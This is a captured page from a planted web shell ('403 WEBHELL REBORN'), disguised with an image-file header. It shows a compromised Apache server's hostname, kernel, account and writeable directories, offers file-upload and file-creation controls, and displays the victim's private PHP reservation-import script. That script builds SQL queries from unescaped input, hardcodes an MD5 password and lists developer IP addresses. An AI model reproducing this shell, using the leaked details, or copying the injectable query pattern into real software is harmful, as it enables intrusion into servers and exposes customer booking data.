ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/api/tk_api_reserve_cron.php
<?php
	header("Content-Type: application/json");
	$g4_path = "..";

	include "../common.php"; // Zipline Common
	include "common.php"; // API Common
	include "../adm/admin.lib.php"; // Admin Function

	/*******************************************************************/
	// 예약목록 가저오기                                                    //
	// FLOW : TK >> Zipline                                                //
	// CALL :  crontab                                                        //
	/*******************************************************************/

	// 개발 모드 설정 ★ 실제 운영 시 주의 ★
	$allow_addr = array(
		'119.67.250.2033', // 집
		'14.6.87.1933' // TK사무실
	);
	if(in_array($_SERVER['REMOTE_ADDR'], $allow_addr) == true){
		define('DEV_MODE', '1');
		echo "###############################\n";
		echo "########## 개발 모드 ##########\n";
		echo "###############################\n";
	} else {
		define('DEV_MODE', '0');
	}

	// 시작일시설정
	$cron_stime = "2022-07-01 22:00:00";

	echo ("===== TKPLACE - ZIPLINE : API START =====\n");
	Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "API START"), '', 'tk/'.date('Ym'));

	// 주문조회 쿼리
	$path = "/orders/list";

	$searchStartDate = date('Y-m-d', strtotime("-1 days"));
	$call_data = array(
		'limit'					=> 1000,
	);

	$result = call($path, $call_data);
	$data = array();

	//if(DEV_MODE){ p($result); }
	echo "\nDATA TOTAL : " . count($result['data']['dataOrder']) . "\n\n";

	if(DEV_MODE){ echo "##################### STEP 1 : 데이터 예약건별로 처리\n"; }

	foreach($result['data']['dataOrder'] as $k => $v){

		if(DEV_MODE){ echo "##################### STEP 2 : 예약{$k}\n"; }

		// 시작시간
		if($v['res_date_time'] <= $cron_stime) continue;

		// TK 예약번호
		$order_code = $v['rsv_no'];
		if(DEV_MODE){ echo "\n★★ ORDER ID : " . $order_code . " ===> "; }

		// 상태 체크
		if($v['status'] == 'H'){
			if(DEV_MODE){ p("취소된 예약."); }
			Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "취소된 예약." . $order_code), '', 'tk/'.date('Ym'));
			continue;
		}

		// API 전송상태 (S 일 경우 이미 전송된 건이므로 처리하지 않음.)
		if($v['api_status'] == 'S'){
			if(DEV_MODE){ p("이미 전송된 예약."); }
			Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "이미 전송된 예약." . $order_code), '', 'tk/'.date('Ym'));


			//by taeyoung
			//20220816
			//시간 변경 된 경우 처리.
			$res_sdate = str_replace("-", "", $v['start_date']);
			$eventName = $v['event_name'];
			$res_time = $eventName . ":00";
			$res_event = $v['discount_cmt']; //할인옵션
			$res_inwon = $v['total_inwon'];
			$res_name = $v['cust_nm'];
			$res_phone = str_replace("-", "", trim($v['cust_hp']));
			$res_amount = $v['total_price'];
			$res_inflow = $v['res_route']; // 예약 유입경로


			//1. 이미 예약된 데이터 불러오기
			$row_mod = sql_fetch("select * from {$write_table} where tk_res_no = '{$order_code}'");


			if($row_mod){
				//2. 데이터 비교하기
				// res_sdate, res_edate 예약 날짜, res_time 예약시간
				if( ($res_sdate != $row_mod['res_sdate'])  || ($res_time != $row_mod['res_time'])){
					//3. 다른 데이터 있으면 로그 쌓기
					$sqlmod = "INSERT INTO res_modify_log SET ";
					$sqlmod .= "site_id = '{$site_id}'";
					$sqlmod .= ", tk_res_no = '{$order_code}'";
					$sqlmod .= ", res_sdate = '{$res_sdate}'";
					$sqlmod .= ", res_time = '{$res_time}'";
					$sqlmod .= ", res_event = '{$res_event}'";
					$sqlmod .= ", res_inwon = '{$res_inwon}'";
					$sqlmod .= ", res_name = '{$res_name}'";
					$sqlmod .= ", res_phone = '{$res_phone}'";
					$sqlmod .= ", res_amount = '{$res_amount}'";
					$sqlmod .= ", res_inflow = '{$res_inflow}'";
					$sqlmod .= ", isConfirm = 'Y'";

					sql_query($sqlmod);


					//4. 업데이트
					sql_query("UPDATE {$write_table} SET res_sdate = '{$res_sdate}', res_edate = '{$res_sdate}', res_time = '{$res_time}' WHERE tk_res_no = '{$order_code}' ");
				}
			}
			continue;
		}

		// 사용일
		$startDate = $v['start_date'];
		if(!$startDate){
			if(DEV_MODE){ p("사용일 정보가 없습니다."); }
			Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "사용일 정보가 없습니다." . $order_code), '', 'tk/'.date('Ym'));
			continue;
		}

		// 행사 정보 (짚라인 이용시간)
		$eventName = $v['event_name'];
		if(!$eventName){
			if(DEV_MODE){ p("이용시간 정보가 없습니다."); }
			Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "이용시간 정보가 없습니다." . $order_code), '', 'tk/'.date('Ym'));
			continue;
		}

		// Duplicate Check
		$row_res = sql_fetch("select * from {$write_table} where tk_res_no = '{$order_code}'");
		if($row_res){
			$res_id = $row_res['res_id'];
			if(DEV_MODE){ echo "이미 등록되어 있는 예약" . $order_code . " / " . $res_no; }
			Log::save(sprintf("%s(%d) %s %s", __FILE__, __LINE__, "이미 등록되어 있는 예약 : " . $order_code, $res_no), '', 'tk/'.date('Ym'));
			continue;
		}

		if(DEV_MODE){ echo "\n\n★★ 예약 추가 시작\n"; }

		// 예약 추가
		// resrev_form_update.php 282 Lines 참고

		$res_content = "";
		$res_sdate = str_replace("-", "", $v['start_date']);
		$res_password = md5('tktravel');
		$res_event = $v['discount_cmt']; //할인옵션
		$res_time = $eventName . ":00";
		$res_inwon = $v['total_inwon'];
		$res_name = $v['cust_nm'];
		$res_phone = str_replace("-", "", trim($v['cust_hp']));
		$res_payment = "7000"; // 결제방법 - 제휴
		$res_amount = $v['total_price'];
		$res_inflow = $v['res_route']; // 예약 유입경로

		$insert = array(
			"res_subject"				=> '(TK)',										// 회사명 및 단체명
			"res_content"			=> $res_content,							// 예약내용
			"res_sdate"				=> $res_sdate,								// 예약일
			"res_edate"				=> $res_sdate,								// 예약일
			"mb_id"					=> 'tktravel',
			"res_password"			=> $res_password,							// 비밀번호 (임의 값)
			"res_partner"				=> 'TK_API',
			"res_email"				=> 'cs@tktravelkorea.com',
			"res_event"				=> $res_event,								// 할인정보
			"res_write_dt"			=> $g4['time_ymdhis'],					// 등록시간
			"res_edit_dt"				=> $g4['time_ymdhis'],					// 등록시간
			"res_ip"					=> $_SERVER['REMOTE_ADDR'],			// 등록IP
			"res_payset"				=> 'Y',										// paySta (M:미결제, Y:결제완료)
			"res_time"				=> $res_time,								// 예약시간
			"res_inwon"				=> $res_inwon,								// 탑승인원
			"res_name"				=> $res_name,								// 이름
			"res_phone"				=> $res_phone,								// 전화번호
			"res_payment"			=> $res_payment,							// 선입금 - 결제방법
			"res_amount"			=> $res_amount,							// 결제금액
			"res_admin"				=> '',											// 접수자
			"res_consult_dt"			=> '',											// 통화일
			"res_consult_result"		=> '',											// 결과
			"res_payment_dt"		=> $res_payment_dt,						// 선입금 - 날짜
			"res_provisional"		=> '',
			"res_inflow"				=> $res_inflow,								// 예약 유입경로
			"res_getticket"			=> '',											// 발권유무 (미사용)
			"res_payment_name"	=> '',											// 선입금 - 입금자
			"res_balance"			=> '0',										// 잔금 - 금액
			"res_balance_dt"		=> '',											// 잔금 - 날짜
			"res_balance_name"	=> '',											// 잔금 - 입금자
			"res_payment_type"	=> '',											// 잔금 - 결제방법
			"res_pri"					=> $res_amount,							// 선입금 - 금액
			"res_dis"					=> '0',										// 할인율
			"tk_res_no"				=> $order_code							// TK 예약번호
		);

		$sql = getInsertQuery($write_table, $insert);

		if(DEV_MODE){ p($sql); }

		// DB 처리
		if(DEV_MODE == 0){

			Log::save(sprintf("%s(%d) DB Insert  : %s", __FILE__, __LINE__, $sql), '', 'tk/'.date('Ym'));
			sql_query($sql);

			$res_id = mysql_insert_id();
			// 부모 아이디에 UPDATE
			sql_query("update $write_table set res_parent = '$res_id' where res_id = '$res_id' ");

			if(DEV_MODE){ p("DB Process..."); }

			Log::save(sprintf("%s(%d) Create Order Process : %s", __FILE__, __LINE__, $res_id), '', 'tk/'.date('Ym'));

			// 예약상태 변경 (API 전송상태 > 전송성공)
			$path = "/orders/update/".$order_code;
			$call_data = array(
				'api_status' => "U",
			);
			$result = call($path, $call_data, "POST");

			Log::save(sprintf("%s(%d) Update api_status : %s", __FILE__, __LINE__, $call_data['api_status']), '', 'tk/'.date('Ym'));

			// TK API 연동 행사인원정보 DB 기록 220508
			insert_reserve_count($site_id, $res_sdate, $res_time, 'API_INSERT', $res_id);

			// 알림톡 발송

			echo "{$res_id} ■ ";
		}

	}

	echo "\nEND";

	#######################################################################



?>




Anon7 - 2021